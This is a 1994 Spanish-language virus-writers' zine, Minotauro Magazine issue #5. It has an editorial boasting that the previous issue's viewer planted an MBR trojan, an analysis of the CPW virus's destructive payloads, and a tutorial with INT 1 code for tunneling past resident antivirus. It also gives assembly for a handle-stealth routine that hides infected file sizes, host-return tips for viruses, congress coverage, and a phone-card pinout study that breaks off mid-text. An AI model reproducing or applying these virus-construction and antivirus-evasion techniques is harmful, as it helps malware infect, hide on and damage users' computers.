Minotauro Magazine Issue #5 Long time no see.. Ultimamente hemos recibido varias llamadas de LECTORES de Minotauro Magazine, todos contentos con las publicaciones, cosa que nos da fuerza pa' seguir con las mismas.. Tambien hay mucha gente interesada en publicar sus notas, lo que nos obligo a crear un area pura y exclusivamente para que Uds, publiquen lo que quieran.. ACLARACION IMPORTANTE: No nos hacemos responsables por lo que pueda llegar a publicarse en esta secci¢n de la revista.. PD: Tampoco por lo de las otras secciones, ok!? Juaaaaa! Hablando del entorno (?), recibimos varios comentarios de lectores, dudando de nuestra honestidad, refiriendose al ejecutable del entorno que mandamos en el numero anterior :-) Juaaaaa. Lo unico que les puedo decir es que tenian razon, el entorno les instalaba un troyano en el MBR que surgia efecto cuando se cerraba el archivo MINOTAUR.005 asi que... Jejeeeeeee. go! Debido a esto, hemos sacado de circulacion el ejecutable del entorno, pero en cualquier momento vuelve con algunas mejoras... Cambiando de tema, como todos ya sabran, el fin de semana no_se_cuanto de Octubre, se realiz¢ el "Primer Congreso Internacional de Hacking, Virus y Computer Underground" donde varios de nosotros, fuimos invitados de honor y formamos parte de las mesas de debate. Y bien dije FUIMOS, porque no creo que jamas nos vuelvan a llamar Juaaaaa!!! Bostandante, de onda viejo! :-) Ya que tocamos el tema, hagamos una peque¤a rese¤a cronol¢gica de lo que all  sucedi¢.. Juaa! me acuerdo y me da risa ;-) Dia Viernes, un cacho despues de que se inaugur¢ el Congreso, un matafuegos no identificado hizo su aparicion entre los espectadores.. y evidentemente acalorado por el tufo impresionante de toda esa muchedumbre, se puso en funcionamiento "accidentalmente" (Juaaaaaaa) y demostro funcionar perfectamente.. :-) Una vez recuperados todos de este incidente, y luego de ver al organizador (Fernando Bostandante por si no lo sabian) barriendo los restos del matafuegos, nos preparabamos para ver el match Ludwig-Lapidario a 11 rounds por el titulo de Mr. Carisma 1994 Jejejeje.. Los demas participantes de la mesa, yo (Drako) y Emmanuel Goldstein tuvimos casi la misma participacion. (Teniendo en cueta que Goldstein ni aparecio por la mesa :-) Igualmente hay una nota de cobertura sobre todo el Congreso en si, asi que dejo las conclusiones pa' mas adelante.. Hablando del Congreso y Minotauro (?) solo les podemos decir una cosa, que nos deben unos $200 a modo de reposicion de discos de baja, portadores de los primeros numeros de las mino pal' publico no modemeano. Repetimos los bbs donde el staff puede ser contactado, por dudas, sugerencias, etc, menos criticas, ok!? Dionysios I BBS: +54-1-253-4389 (23hs a 09hs GMT-3) Dionysios II BBS: +54-1-253-2098 (23hs a 09hs GMT-3) Ahora a la revista en s¡: Editorial (Drako) ......................................... 000 Virus (no tan) Nacionales, hoy: CPW ....................... 001 Tunneling (Trurl) ......................................... 002 Handle Stealth - Update (WM’) ............................. 003 Virus Programming Tips (Drako) .............................004 Cobertura del Congreso (Morgan) ........................... 005 Tarjetas de Telefonica (J.Von Neumann & Bugs Bunny) ....... 006 Some [DAN] Utilities ...................................... 007 Atentamente, Drako [DAN] Minotauro Magazine Issue #5 Producci¢n (no tan) Nacional Virus CPW (Unasm y Texto) Por Trurl Para complementar un poco la hilarante nota del amigo Wma en el n£mero anterior de nuestra revista, pensamos que seria buena idea proveer a nuestros lectores del source de este virus, mas una peque¤a rese¤a t‚cnica que aclare algunos puntos que no quedaron muy claros en la nota de Virus Report. (Y que son bastante divertidos, osea, las rutinas de activaci¢n). Por ende, he aqu¡ Nuestra rese¤a t‚cnica sobre el virus CPW, del hermano pa¡s de Chile (como se suele decir :-)), y el source del virus, para que ustedes puedan juzgar "the real thing". Ya que estamos, aprovecho para mandar un saludo a todos los autores de virus (y hackers) chilenos, que seguramente no nos est n leyendo, ya que esta revista solo va a cruzar la cordillera cuando nos deporten las autoridades (o tengamos que huir de ellas :-)). Como sea, si alg£n d¡a llega, saludos. No hace falta aclarar que todo esto solo corresponde al CPW, NO al CHME, que en todo caso mandaremos en otro n£mero. % El CPW % Para decirlo en buen romance, este virus es, b sicamente, un infector de COM/EXE residente. Tiene la particularidad de ser un "fast infector", tal como nosotros llamamos a este tipo de virus, que se reproducen a trav‚s de varias funciones, no solo la cl sica 4B. En el caso de este virus, lo hace tambi‚n con la funci¢n 3D00 (abrir para lectura), y la 43 (cambiar atributos). Como estas funciones no difieren en el pasaje de par metros (en todas el nombre del archivo en cuesti¢n viene en DS:DX) se hacen todas las infecciones con la misma rutina. Otros detalles son que infecta READ ONLY, no modifica la fecha del file al infectar, y no produce error al infectar en un diskette write-protected (intercepta INT 24 al infectar, bah). El virus ocupa 1459 bytes, y queda en memoria con 2000 bytes. (no usa nunca esta heap). El m‚todo de residencia que usa es la ya cl sica manipulaci¢n de MCB, aunque el c¢digo que usa para hacer esto es poco convencional. Una ultima observaci¢n interesante es que, por el dise¤o de la rutina de infecci¢n, el virus no infecta COM de extensi¢n .EXE (En mi opini¢n, esto se le "escapo" al autor, se equivoco en un JMP). Me imagino que esto es lo que lleva a decir al de Virus Report que la efectividad del virus es de "98%" (Se ve que ese 2% son los COM de extensi¢n .EXE que el tipo escaneo, ya que ese es el £nico tipo de file que no infecta). % Activaci¢n % El virus tiene, en realidad, 3 rutinas de activaci¢n, a saber: 1) Si es 27 de mayo (como ver n la fecha esta BASTANTE bien determinada), imprime el mensaje "Feliz cumplea¤os CPW!", y cuelga la maquina. (Este disparador esta en la INT 21h) 2) El virus instala una rutina en la INT 16h que aproximadamente a la 1PM (13 hs) y a las 12 de la noche (0 hs) y durante mas o menos 1 minuto (seg£n los c lculos de este humilde cronista), reemplaza todos los caracteres que se entran desde teclado, por una string de 18 (12h) caracteres que se repite, y que es: " You are here CPW!". Cuando pasa ese minuto, todo vuelve a la normalidad. Esto no implica (como dice en la nota de Virus Report err¢neamente) que el texto sea mostrado por pantalla, sino que sencillamente, el texto entra como si fuera tipeado desde teclado. Que pasara con el a continuaci¢n depende del trato que haga el programa que se este ejecutando en ese momento con esos caracteres. Pueden salir a pantalla (si uno esta en un procesador de texto, p.ej.) pueden ser interpretados mal (como caracteres de control de alg£n programa que reaccione, p.ej. al car cter "A"), o aun ignorados por completo (esto pasa en la mayor¡a de los juegos con mouse :-)). Esto reduce aun mas las probabilidades de que alguien que NO desensamblo el virus note realmente cuando y como "sucede" esta string. 3) En la misma rutina de INT 21 (en el medio de la infecci¢n) el virus chequea si el nombre del programa en cuesti¢n (ejecutado, abierto, etc) contiene una substring de : "CNCGUARDEMSCPAVSCANCLEANFINDVIRUCHKVIRUS". Cuando digo "el nombre" me refiero a todo lo comprendido entre el punto y la ultima barra (de "C:\DOS\PROG.COM", seria "PROG"). Por lo tanto, se dispara con varios antivirus conocidos (CPAV, SCAN, CLEAN) como con otros no tan conocidos (FINDVIRU, VIRUSCHK) o incluso con cualquier otra substring posible que no tenga nada que ver (NDV, HKVI, o cualquier otra verdura que quieran). Al activarse esto, lo que sucede es que el file en cuesti¢n es borrado (via AH=41/INT 21). Simp tico :-). % en conclusi¢n... % El virus esta bien escrito, no tiene c¢digo muerto, y esta bastante bien estructurado (relativamente f cil de entender), y mas o menos optimizado. Las rutinas de activaci¢n son bastante divertidas. En fin, un lindo virus, y ya estoy podrido de sanatear, as¡ que ac  va... % SOURCE % ;---------------------- Cut Here ------------------------------------------ ; Source del CPW en: CPW.ASM ;---------------------- Cut Here ------------------------------------------ Bueno, cortar, pegar, ensamblar, etc. Lo comente tanto como pude, si les parece poco, preg£ntense porque el comentario de "openfile:" es "esta rutina abre el file", y saquense el helado de la frente. Ah, y ojo con lo del byte-a-byte match, lo tuve que fixear un poco porque el autor uso unos LEA DX, [directo] (sin registro) para cargar DX, en vez de usar MOV, y como ocupan mas, el TASM los hace MOVs (y otras cosas...). Saludos y hasta el pr¢ximo virus... Trurl el gran constructor [DAN]Minotauro Magazine Issue #5 Tunneling Por Trurl % Introducci¢n: T‚cnicas de protecci¢n % Cuando uno hace virus se topa con tres tipos de conocimientos referentes a como hacerlos: T‚cnicas de reproducci¢n, T‚cnicas de Ataque y T‚cnicas de protecci¢n. Las t‚cnicas de ataque son las que permiten al virus mostrar su presencia (o da¤ar), y no son muy interesantes, y la mayor¡a de virus no las usa. Las t‚cnicas de reproducci¢n incluyen todos los conocimientos relacionados con como y cuando infectar ("como infectar EXE", "Como hacer un fast infector" etc) que son tratadas en otros art¡culos de esta ilustre revista :-). Las t‚cnicas de protecci¢n apuntan a proteger el virus de sus "enemigos naturales": El usuario observador y El Antivirus. El Usuario Observador amenaza la vida del virus d ndose cuenta de su existencia en el sistema (para luego sacarlo). Algunas t‚cnicas de protecci¢n, entonces, apuntan sencillamente a hacer la presencia del virus poco visible, y un ejemplo de esto es el Directory-Stealth, t‚cnica que consiste sencillamente en ocultar el size de los archivos infectados en el comando DIR. El Antivirus, segundo enemigo natural, amenaza la vida del virus d ndose cuenta de la presencia del virus y avisando al usuario. Existen muchos tipos de t‚cnicas usadas para enga¤ar al Antivirus, entre ellas el stealth y el Tunneling. % Tunneling % El tunneling apunta a proteger al virus de los m¢dulos residentes de los antivirus, que monitorean todo lo que sucede en la maquina para interceptar todas las actividades "t¡picas" de los virus. Para entender como funciona esta t‚cnica, basta saber como trabaja este tipo de antivirus. El modulo residente queda colgado de todas las interrupciones usualmente usadas por los virus (INT 21, INT 13, a veces INT 25 Y 26) y entonces cuando el virus intenta llamar a INT 21, por ejemplo, para abrir un ejecutable para lectura/escritura (y luego infectarlo), el antivirus chilla, pues los ejecutables no son normalmente abiertos, ni menos para escritura. Y as¡ con todas las llamadas t¡picas de los virus. En cambio, cuando se hace una llamada com£n y corriente, el antivirus no chilla y la deja pasar, llamando a la INT 21 original. Un virus con tunneling, entonces, antes de llamar a ninguna funci¢n ni hacer nada, intenta obtener el address absoluto de esta INT 21 original, que esta en alguna parte de la memoria del antivirus residente. Una vez que obtiene este address, accede al DOS por medio de el, sin llamar al antivirus. Y as¡, efectivamente, le "pasa por debajo", lo "tunelea". ¨Como se hace esto? % Tipos de tunneling % Existen dos formas fundamentales de obtener este address. La primera, y la mas usada, es utilizando la interrupci¢n de trace (INT 1) y la trap flag. (Que son usadas por los DEBUGGERS) para atravesar el c¢digo orden a orden hasta hallar lo que se busca. La segunda, hacer un simple y llano scanning del c¢digo, byte a byte, hasta hallar el address. La primera forma de tunneling es usada por todos los virus que usan esta t‚cnica, como por ejemplo, el Predator II o el (ya viejo) Yankee Doodle. La segunda no se usa en ning£n virus, pero es la que usa Kohntark en su celebre Kohntark Recursive Tunneling Toolkit. Pasemos a los detalles t‚cnicos... % La referencia % Antes de ponerse a buscar, por cualquiera de los dos m‚todos, es necesario obtener el segmento del DOS, para poder ir comprobando a medida que se encuentren addresses si son o no el de la INT 21. Hay varias formas de obtener el segmento de DOS antes de empezar a "tunelear". Una de ellas es obtener las INTs internas del DOS y ver cual es su segmento (Usada en la KRTT). Otra es llamar a la funci¢n (no documentada) del sistema, funci¢n 1203h, interrupci¢n 2Fh. El Yankee Doodle sencillamente considera que todo segmento menor a 300h es el de la INT 21. Todos estas formas son validas, con sus pros y sus contras, a saber: Ints internas: El obtener los segmentos de las INTS internas es seguro en la mayor¡a de los casos, pero ¨que pasar¡a si estos segmentos son distintos entre si? Esto querr¡a decir que alguna de las INTs fue capturada por alg£n programa, y no se podr¡a tunelear. Y lo que es peor, podr¡a suceder que TODAS las ints internas del dos estuvieran capturadas, con lo cual el virus considerar¡a que el segmento del DOS es el segmento del programa que capturo las INTS sin darse cuenta de nada! (Fatal! ARGH!) Funci¢n 1203, INT 2F: Esta es una funci¢n No-Documentada del DOS, que retorna el DS del sistema. Un punto en contra es precisamente que sea no documentada, ya que podr¡a dejar de aparecer en futuras versiones de DOS. (Adem s podr¡a ser capturada, aunque no lo creo, porque es interna). Segmento DOS < 300: Es efectiva, pero podr¡a suceder que en determinadas configuraciones fuera mayor a 300. Es un dato "de hecho", en ning£n lugar esta documentado, pero siempre es menor. Sin embargo, quien sabe en futuros DOS, en futuras configuraciones, lo que podr¡a pasar. Ahora veamos, esas t‚cnicas... % Trace Tunneling % Para entender la primera t‚cnica basta una breve explicaci¢n de como funciona un debugger. Para hacer un sencillo trace, en un debugger ('T' en DEBUG y F7 en Turbo Debugger) primero se prende la "trap flag". Esta flag es el primer bit del byte mas alto del registro de flags (flags=100h). No hay ordenes para prenderla, por lo que se lo debe hacer manipulando un poco. Este c¢digo enciende la flag: pushf pop ax or ax, 100h push ax popf Cuando esta encendida esta flag, cada vez que se ejecuta una instrucci¢n, la INT 1 es llamada. Entonces el DEBUGGER tiene interceptada esta interrupci¢n, y manipula todo para suspender la ejecuci¢n y volver al debugger. De este modo, se ejecuta UNA instrucci¢n y se vuelve al prompt del debugger. ¨Como sirve esto al tunneling? Pues es sencillo: el virus enciende la trap flag y llama a la INT 21 (osea, al antivirus que esta colgado de la int 21 :-)). Y recordemos que al llamar a una INT (la INT 1 en este caso, que es llamada luego de ejecutada cada instrucci¢n) quedan en la stack seis bytes: las flags, y el CS:IP de retorno. La rutina de INT 1 del virus se fija cada vez que es llamada en ese CS que queda en la stack, y si es igual al del DOS (que tiene de antes), entonces apaga la trap flag y guarda el CS:IP, pues este es el addres de la INT 21 "posta". Y el laburo ya esta hecho... He aqu¡ una rutina basica y tipica de INT 1 para tunneling: NewInt1: push bp mov bp, sp push dx mov dx, cs:DosSegm cmp [bp+6], dx jz Found pop dx pop bp iret Found: mov dx, [bp+6] mov cs:OldInt21+2, dx mov dx, [bp+4] mov cs:OldInt21, dx pop dx pop bp add sp, 6 ... % Flaquezas del trace tunneling % El problema mayor del trace es que REALMENTE se esta ejecutando el c¢digo del antivirus. Esto da lugar a muchos problemas, como por ejemplo, que el antivirus deshabilite interrupciones con CLI o poniendo a OFF la TRAP FLAG. O que reemplace la rutina en INT 1 por una rutina "dumb". Otro tema es que el trace no inspecciona las INTs por adentro. Es decir, ejecuta la INT, pero no la tracea. Por ejemplo: mov ax, 1 ; ok, trace mov bx, 2 ; sigue el trace int 25h ; pero ac  no tracea la int 25 por adentro, sino nop ; que viene ac , al NOP. Esto hace que si el antivirus redireccion¢ la INT 21 a otra INT sin usar, y la usa llamando a esta nueva INT, te jode. (Por ejemplo, copio el addres de INT 21 a INT 60, y llama a INT 60 para hacer sus llamadas). Cabe observar, sin embargo, que en principio uno tiene cierto control. Uno podr¡a fijarse, desde la rutina de INT 1, si la pr¢xima orden es un CLI y saltearlo. Pero esto deberia hacerse con un mont¢n mas de otras cosas, y presumiblemente ocasionar¡a que la maquina se cuelgue en muchos casos. (Por ejemplo, saltearse un CLI hecho antes de que se haga un cambio de stack seria fatal) % Byte-to-Byte scanning: KRTT % El KRTT es el £nico en el caso de scanning byte-a-byte. Este consiste en sencillamente en buscar byte a byte hasta encontrar instrucciones que entreguen el control a rutinas remotas (FAR). Osea, se scanea buscando los c¢digos maquina de las siguientes instrucciones: JMP FAR XXXX:XXXX ; (n¢tese que estos no son las £nicas) CALL FAR XXXX:XXXX ; (instrucciones para pasar el control) CALL FAR CS:VVVV ; (a rutinas FAR. Es una de las) JMP FAR CS:VVVV ; (flaquezas del KRTT) Cuando se encuentran estos c¢digos-maquina, se toman los addreses a los que se quiere pasar el control, y se compara con el segmento del DOS. Si son iguales, se encontr¢ la INT 21 original. Si no, se sigue scaneando desde ah¡. % Flaquezas del scaning byte a byte % Parece muy sencillo, pero la rutina, necesariamente, tiene que ser recursiva. Adem s, tiene el problema de que se scanea siempre hacia adelante, y no se sigue el flujo de control; (seria f cil seguirlo si se encuentra un JMP NEAR o CALL NEAR, pero ¨que hacer con un JZ o cualquier otro condicional?) esto produce que si el JMP o CALL a la int 21 se encuentra ANTES del punto de entrada de la INT del antivirus, el tunneling falla. Adem s hay otras formas de entregar el control a una rutina remota, como por ejemplo: con RETF. Seria _muy_ dif¡cil, por no decir imposible, que un tunneling con scaning pudiera seguir con ‚xito QUE esta pasando en la stack, como para poder considerar un RETF. En el KRTT ni siquiera esta contemplado, y sin embargo es tan f cil entregar el control con RETF... Y otra fuerte falla del scanning byte a byte es que si por casualidad pasa sobre una zona de datos, que por una de esas cosas del destino contiene, como dato, el c¢digo binario de una de las instrucciones de entrega de control, el scanning la tomar¡a como instrucci¢n, aunque es dato. Esto es imposible de evitar en este tipo de tunneling. % Problemas Generales del Tunneling % Pero el problema principal del tunneling es que aun teniendo ‚xito en obtener la INT 21 posta, se pueden tener problemas si hay alg£n residente importante y uno lo esta pasando por debajo. Es famoso ya el caso del Predator II y el DoubleSpace. El predator II tuneleaba por debajo del DoubleSpace y trataba de acceder al disco directamente por DOS. Esto produjo que trasheara mas de un disco (:-)). En definitiva, esto es contrario a las intenciones del tunneling, pues el usuario no necesita que el antivirus le diga que tiene virus: se da cuenta solo al ver que su disco esta hecho pur‚. (JA!). % Conclusi¢n % Espero que les haya sido de utilidad. El tunneling es una t‚cnica bastante buena, y al mismo tiempo sencilla (mucho mas sencilla que polimorfismo o stealth, por ejemplo), y sin embargo no es tan usada. ­Vamos muchachos, p¢nganse las pilas, que con 50 bytes tienen un tunneling (medio truch¢n, pero bueno :-))! Para ayudarlos, les prometemos los sources de la KRTT, y del Yankee Doodle, comentados, para que tengan buenos ejemplos. Y por ahi, tambien el del Predator II. Hasta la pr¢xima... Trurl, el gran constructor.Minotauro Magazine Issue #5 (New) Handle Stealth Code Optimization - WM’ Bueno, en la Minotauro #4 vimos como hacer el handle stealth o Norton Commander Stealth como le gusta poner a Drako ;). Pero ete aqu¡ que se nos pas¢ una hermosa instrucci¢n que reduce el codigo de la rutina en bytes. La idea es que en vez de hacer todo ese desastre de toquetear el stack para devolver correctamente los flags, directamente desapilemos del mismo stack 2 words nada mas, o sea desapilamos solamente CS:IP para volver a la rutina que nos llam¢ y los flags que se pasan son los actuales sin necesidad de tanto l¡o (ay, me puse en delicado. ;)). Bueno, sin mas que decir (porque se que a uds. sanguijuelas les interesa solo el c¢digo y ni leen para entender como funciona ;)) les dejo el c¢digo del (New) Handle Stealth. ;---------------- Cut Here ------------------------------------------------ ;========================================================================== ; (c) Digital Anarchy Viral Development ;========================================================================== handle_stealth: pushf ; (Pctools, Norton etc) call cs:old21 ; dale int 21h.. jc handle_back ; puaj error!. push ax bx es ; Guardamos Registros mov ah,2fh ; pedimos DTA int 21h mov ax,es:[bx+16h] ; tomamos hora del file and ax,1fh xor al,1eh ; seg a 60? jne handle_pops ; no, no esta infectado sub word ptr es:[bx+1ah],virlen ; le restamos al filesize sbb word ptr es:[bx+1ch],0 ; el tama¤o del virus handle_pops: pop es bx ax ; Restauramos Registros handle_back: retf 2 ; desapilamos CS:IP ;---------------- Cut Here ------------------------------------------------ Por WM’ [DAN] Minotauro Magazine Issue #5 Virus Programming Tips Jumping to host by Drako Bienvenida. listo. Esta nota mas que nada intenta ser de utilidad por su contenido te¢rico que por su contenido pr ctico (lease c¢digo...) No se cuanto puedo llegar a tardar en explicar esto, pero no importa: Imag¡nense Uds. en el punto final de un virus polim¢rfico, Full Stealth impresionante :-) y su virus es "detectado" por alg£n programa que nisiquiera tiene la intenci¢n de hacerlo. Uds. se querran matar.. A lo que voy es a lo siguiente: Uds. anteriormente (o quizas ya lo habian notado y NO NOTIFICADO :-)) le pasaban el control al host, en un COM digamos, de la siguiente manera: CALL RESTITUIR_PRIMEROS_BYTES MOV AX, 0100h JMP AX Esto de CALL RESTITUIR.... ya se imaginaran que es.. (es pa' restaurar los primeros bytes en memoria del host, ok!?).. Bueno, el problema con este codigo es que, para el momento que se le da el control al host o anfitri¢n, AX llega con el valor de 100h y no es justamente el valor predefinido para el momento inicial de la ejecucion de un file. Cuando Uds. debugean algo, todos los registros generales comienzan en 0000, pero en realidad cuando ejecutan algo desde DOS, no es asi.. Cada registro contiene un dato (los cuales no tengo diponibles en este momento) que es pasado al programa.. Por ejemplo en AX, se pasa el tama¤o del string de la linea de comandos.. Lo mismo que en el offset 80h del PSP. Datos como estos se los facilitaremos en el proximo numero para que saquen sus propias conclusiones y/o tecnicas :-) Pero a ciencia cierta, les decimos que antes de darle el control al host, limpien AX, y salten al 100h por otro lado (hasta ahora nunca tuve dramas): CALL RESTITUIR_PRIMEROS_BYTES XOR AX, AX PUSH 0100h RET Quiero aclarar que no queremos un pulitzer por esta nota, que solo la pusimos al efecto de salvarles colgadas inexplicables en algunos archivos infectados, como por ejemplo el DISKCOPY.COM, XCOPY.EXE, DISKCOMP.COM todos del DOS. Hagan una prueba, intenten infectarlos con sus virus actuales y vean lo que pasa :-) No estamos diciendo que no se hayan dado cuenta, pero..... Jajajaja Drako [DAN] Minotauro Magazine Issue #5 Cobertura del Congreso by Morgan Nunca est‚n cerca del editor de este Magazine cuando le falte una nota, por que les puede pasar como a m¡: me encaj¢ la nota sobre el congreso. { Primer Congreso Internacional, Interplanetario e Intergal ctico de Virus (aghh...), Hackers (uggg) y Computer Under ground (berph..) } Cosa totalmente in£til. Si estuvieron lo vieron y sino lean la V. Report y creanle todo y listo!! En realidad no miente (mucho). Para el que es de Capital Federal o cerca o se comunica seguido con BBSs under o masomenos, no hubo gran cosa para ver. Ahora para el que vive lejos (en hard o soft) de estos pagos, de pronto conocer a un autor de virus o a algui‚n que te hable de phreaking, puede valer un toco (tanto que justifique el viaje). Conocimos un brasile¤o que se fue recontento y eso que ellos tienen hasta Internet en varias escuelas de San Pablo. Para los locales vali¢ como encuentro social, para conocerse unos a otros; muchos ya se mensajeaban en los BBS y otros se conocieron ah¡. Tambi‚n sali¢ la idea de una red de BBS unders que a£n no se concret¢ porque los Sysops est n muy ocupados (¨Qui‚n es el boludo que pregunt¢ en que...?) Paciencia!! Para los del resto del pa¡s supongo que vali¢ como un empuj¢n. Vieron que en la Argentina SE PUEDE. Espero ver virus misioneros o blueboxers neuquinos. De los que hablaron, dividamos en nacionales e importados. Los nacionales como eran la primera vez, estaban un poco achicados y por eso no contaron mucho de todo lo que saben. Tampoco le preguntaron mucho en realidad, porque el p£blico estaba bastante mezclado (lleno de lammers, bah). Pero algunos saben lo que quieren y la pr¢xima ROBAN!!. Hubo excepciones, claro: por ejemplo Lapidario, que te guste o no como piensa, las dice de frente. O Azrael al que le toca hacer del malo de la pel¡cula (y lo disfruta). Eso s¡, la pr¢xima no los empujo, as¡ que Trurl y Zarathustra suban s¢los !! De los importados, realmente no obtuvimos un carajo. Pero es l¢gico, es una cuesti¢n de edad. La generaci¢n de ellos (que es la m¡a, por eso lo se), hizo el Mayo franc‚s, el Flower Power, el amor libre, los porros, el LSD. Inventaron el Hacking, el Prheaking, el Viruking y las computadoras tambi‚n. Pero hoy son unos qu¡as medio dolapes, que ya no quieren guerra al pedo. Vinieron a hacer la suya; un poco de turismo, explotar un nombre, la parla y a promover lo de ellos (2600, los CD, etc). Son cancheros, no hay duda, pero por ellos no se justifica tanto bardo. El mejor el holand‚s: simp tico y sin agrandes. Pero igual nos muestra que pasaron a la legal: ¯ Ahora venden Internet!!® Del p£blico, digamos que era mucho..... De la organizaci¢n, que era poca (pero como es la primera vez vale!). Que el organizador de un Congreso under no se juega? Y bueno quien te manda a ir a un congreso que organiza VR !!. Esper  al congreso de Minotauro (JUAAAAAAAAAAAAAAAAA !!) De la Prensa escrita y televisiva: Que PELOTUDOS !!!!!!!!!!!!! Por culpa de ellos ahora cuesta m s caro comprar gatos negros para sacrificarlos y comerlos crudos y rociar con su c lida sangre la pantalla de monitor. En un pr¢ximo n£mero les prometo RECETAS para preparar comidas bien condimentadas (Black Cat a la Int 2Fh, Fried Can cerbered, Pollo de Drag¢n undocumented, Darkie crudo avec DAN, etc). De los muchachos de gorra Azul: Se van de pico. Tanto que iban a arrestarnos a todos los del congreso y s¢lo mandaron un par de buchones a vigilantear. Por £ltimo los BBS: No pueden imaginar la cantidad que han llamado a los BBS que anotaron en la pantalla del congreso. Algunos son tipos piolas, que te hacen decir: ah.., el congreso vali¢ la pena. ­­­ Y dos millones de lammers que piden chat, te preguntan como hacer un virus y no saben que es el debug. Conozco un Sysop que dijo: " Me Suicido..." y agarr¢ el manual del Programador en Visual Basic !!! As¡ que si es la primera vez que leen esta revista y llaman a los BBS, plis no pidan chat. Palmense las areas de mensajes primero y despues charlen. Y como no tengo m s ganas de escribir, espero que le haya quedado todo muy, pero MUY claro. Esperen al pr¢ximo Congreso. JA!! Morgan [DAN] Minotauro Magazine Issue #5 Tarjetas Telef¢nicas (Primera parte) by J. Von Neumann & B. Bunny (c) 1994 [DAN] ( Este estudio esta basado en las tarjetas de la empresa Telef¢nica de Argentina, por ser la que opera en nuestra zona de influencia.) Uno de los primeros aportes tecn¢logicos que trajo la privatizacion de ENTel, fue la instalacion de nuevos telefonos publicos, los cuales funcionaban mediante una tarjeta magnetica, en la cual se grababa la cantidad de credito disponible; y a medida que se usaba, el telefono actualizaba la informacion. Este sistema fue sacado de circulacion en muy poco tiempo, ya que las tarjetas eran muy faciles de cagar. La viveza criolla descubrio que poniendole una cinta Scotch sobre la banda magnetica, el telefono podia leer la cantidad de pulsos, pero a la hora de grabar no generaba el sufuciente campo como para atravezar la cinta. El siguiente paso fue la instalacion de las tarjetas 'chip', motivo del presente articulo. Basicamente, una tarjeta chip esta compuesta por una memoria tipo prom de acceso serial. Una memoria prom es un conjunto de fusibles, los cuales se queman o se dejan intactos para hacer los '1' o '0' logicos. Una vez que un fusible es quemado, no puede volver a restaurarse. Cuando uno ingresa una tarjeta en un telefono, este, luego de hacer una serie de chequeos para validar la tarjeta, cuenta cuantos fusibles quedan sin quemar del total; y a cada pulso que pasa, quema uno. Como una vez que un fusible es quemado NO se puede volver a restaurar, es IMPOSIBLE recargar la tarjeta. Las tarjetas chip poseen una memoria de 256 bits, o sea, 256 fusibles, numerados de 0 a 255. Tambien poseen una entrada de clock, que sirve para elegir que fusible se quiere leer o quemar. El resto de las patas son la de entrada y/o salida de datos, la de reset, alimentacion, y control de lectura y grabacion. La funcion de las patas de una tarjeta Telecom-Telefonica es el siguiente: T ÚÄÄÄÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÄÄ¿ 1³ Vcc À¿ ÚÙ Gnd ³5 A ³ À¿ ÚÄÙ ³ C ÀÄÄÄÄÄÄÄÄÄ¿ ³ ÚÙ ÚÄÄÄÄÄÄÄÄÙ R ÚÄÄÄÄÄÄÄ¿ ÀÄÙ ³ ÚÙÚÄÄÄÄÄÄÄ¿ H 2³ R\W À¿ÚÄÄÄÙ ³ÚÙ Vpp ³6 J ÀÄÄÄÄÄÄÄÄÙ³ ³ÀÄÄÄÄÄÄÄÄÙ I ÚÄÄÄÄÄÄÄÄ¿³ ³ÚÄÄÄÄÄÄÄÄ¿ E 3³ CK ÚÙÀÄÄÄÄÄÙÀ¿ I\O ³7 P ÀÄÄÄÄÄÄÄÙ ÚÄ¿ ÚÄ¿ ÀÄÄÄÄÄÄÄÙ T ÚÄÄÄÄÄÄÄÄÄÙ ³ ³ ÀÄÄÄÄÄÄÄÄÄ¿ 4³ Reset ÚÙ À¿ Fuse ³8 A ³ ÚÙ À¿ ³ ÀÄÄÄÄÄÄÄÄÄÙ ÀÄÄÄÄÄÄÄÄÄÙ Vcc : Provee la alimentacion positiva de la tarjeta, 5 V +- 5% Gnd : Es la masa de la tarjeta Vpp : Para leer un fusible esta para se pone a 5V (Vcc), pero para quemarlos se debe poner a 21 V. Reset : Esta pata, funciona a nivel bajo, y con un 0 resetea un contador interno que sirve para acceder a la tarjeta. I/O : por esta pata entran o salen los datos, segun se lea o se grabe la tarjeta. R/W : Poniendo esta pata a Gnd, se le indica a la tarjeta que se quiere leer el bit apuntado por el contador, con Vcc se le indica que se quiere grabar. Fuse : Esta pata no tiene importancia para el usuario, ya que se usa en la frabricacion y programacion de la tarjeta. El siguiente es un diagrama esquematico del circuito de la tarjeta: ÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÄÄÄÄoÄÄÄÄÄÄÄoÄÄÄÄÄÄÄÄÄÄ¿ ³ ³ Reset Enable ³ ³ ³ ³ ³ ÄÄÄÄÄÄÄo>Ck ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄÄÂÄÂÄÂÄÂÄÂÄÂÄÂÄÂÄÙ ³ ÄÄÄÄÄÄ Vcc ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ÄÄÄÄÄÄ Gnd ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ÚÄÄÄÄÄÄÄÁÄÁÄÁÄÁÄÁÄÁÄÁÄÁÄ¿ ³ ÄÄÄÄÄÄÄ´Vpp ³ ³ ³ ³ ³ ÄÄÄÄÄÄÄ´I\O _ ³ ³ ³ R/W ³ ³ ÀÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³ ³ ³ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Cuando se resetea la tarjeta (reset = 0), el contador interno se pone a 0, y queda apuntando al bit 0 de la memoria. A partir de alli, cada pulso de clock incrementara el contador, y con ello que bit podra ser accedido. Si la pata R/W esta en nivel bajo ( '0' = read ), por la pata I/O saldran los distintos bits que contiene la tarjeta. Si esta en '1', por esa pata entraran los datos a grabar. Cabe aclarar que cuando la tarjeta esta en modo escritura (R/W=1), los pulsos de clock NO incrementan el contador. Si yo estoy leyendo el bit N§ 23, y paso a escritura, y le doy un pulso de clock,y luego paso a lectura,estare leyendo de nuevo el bit N§ 23. Ahora bien, de esos 256 bits, los primeros 96 estan protegidos contra escritura; en esa zona se guardan los datos relativos a la cantidad de pulsos, nro de serie, fabricante, pais, empresa, etc. De los 160 restantes 10 son quemados en la fabrica a modo de prueba, y los 150 restantes 